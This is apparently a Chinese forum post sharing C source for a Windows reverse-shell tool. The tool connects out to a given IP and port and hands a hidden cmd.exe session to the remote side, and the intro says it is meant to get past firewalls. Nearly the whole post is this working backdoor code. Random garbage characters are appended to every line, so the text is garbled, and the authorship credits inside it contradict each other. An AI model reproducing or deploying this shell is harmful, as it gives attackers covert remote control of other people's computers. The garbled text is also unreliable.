这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )`HA::
^_>!B)
/* ============================== .ve *Vp
Rebound port in Windows NT +MUwP(U=w
By wind,2006/7 xxa} YIe8
===============================*/ O}Le]2'
#include Z=+03
#include ii4B?E
Mkv|TyC
#pragma comment(lib,"wsock32.lib") eN-au/kN
?tYpc_p#
void OutputShell(); UAYd?r
SOCKET sClient; rwqv V^
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; / 8gL.i$
sR_xe}-
void main(int argc,char **argv) 8SmjZpQ?
{ UG[e//m
WSADATA stWsaData; 3071:W
int nRet; #DI$Oc
SOCKADDR_IN stSaiClient,stSaiServer; v[S-Pi1
61K"(r~
if(argc != 3) ..KwTf
{ k#)Ad*t
printf("Useage:\n\rRebound DestIP DestPort\n"); t})$lM
return; 7_\Mwy{P
} g+[kde;(^
kv?|'DN
WSAStartup(MAKEWORD(2,2),&stWsaData); -{g~TUz
<GIwRVCU
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); raB+,Oi$G
0[a}n6XTk
stSaiClient.sin_family = AF_INET; P-Su5F
stSaiClient.sin_port = htons(0); 2x}6\t
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /c-nE3+rn
,Og4
?fS
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _ PWj(});
{ ]/dVRkZeAE
printf("Bind Socket Failed!\n"); TKI$hc3|L
return; D`o<,Y
} 3y`F<&sA
f7<pEGb
stSaiServer.sin_family = AF_INET; .v`b[4M4
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); e~\QE0Oe :
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); zlf}.
Hi,t@!!
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ff cLuXa
{ @}LZ! y
printf("Connect Error!"); KL3<Iz]
return; ]]uHM}l
} l";'6;g
OutputShell(); L-h$Z0]_F
} oXY Moi
x:z0EYL
void OutputShell() WjMRH+
{ t#b0H)
char szBuff[1024]; .p@N:)W6
SECURITY_ATTRIBUTES stSecurityAttributes; <,8l *1C
OSVERSIONINFO stOsversionInfo; 2qj{n+
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; RA1yr+)
STARTUPINFO stStartupInfo; tIZ~^*'
char *szShell; :@. ;
PROCESS_INFORMATION stProcessInformation; 'jaoO9KY
K
unsigned long lBytesRead; >|udWd^$3
T] | d5E
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +]!lS7nsW
\2!!L=&4G
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;#anZC;
stSecurityAttributes.lpSecurityDescriptor = 0; 8L{u}|{
stSecurityAttributes.bInheritHandle = TRUE; h/ep`-YaH
Je7RrCz
3fkk
[U
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); FLr;`3
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _N#&psQzw
vK$^y^
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2VgP
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j
F5Blc
stStartupInfo.wShowWindow = SW_HIDE; (.X]F_*sc
stStartupInfo.hStdInput = hReadPipe; =nxKttmU0
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; tJD]
(F
*i%quMv
GetVersionEx(&stOsversionInfo); Jh@_9/?
g1[&c+=U`P
switch(stOsversionInfo.dwPlatformId) 9K"JYJ
q2
{ >J>V%
7
case 1: }KB[B
szShell = "command.com"; .b>TK
break; v[ ,Src
default: X[hM8G
szShell = "cmd.exe"; w G!u+
break; b-<HXn_Fd
} W{Q)-y
pj{\T?(
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @u9Mks|{
XW~bu2%{7"
send(sClient,szMsg,77,0); a W;aA'!
while(1) !{%G0(Dv
{ 665[
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?p^2Z6J'$
if(lBytesRead) FjKq%.=#
{ ?y%t}C\W
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4ke^*g
K<
send(sClient,szBuff,lBytesRead,0); b:MG@Hxc
} *|RS*ABte
else :`W|hE^
{ zVaCXNcbo
lBytesRead=recv(sClient,szBuff,1024,0); 2@i;_3sv
if(lBytesRead<=0) break; cyF4iG'M,y
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3Sh+u>w
} _<Dt
z
} (JZ".En#X
Zhi})d3l
return; U}AX0*S
}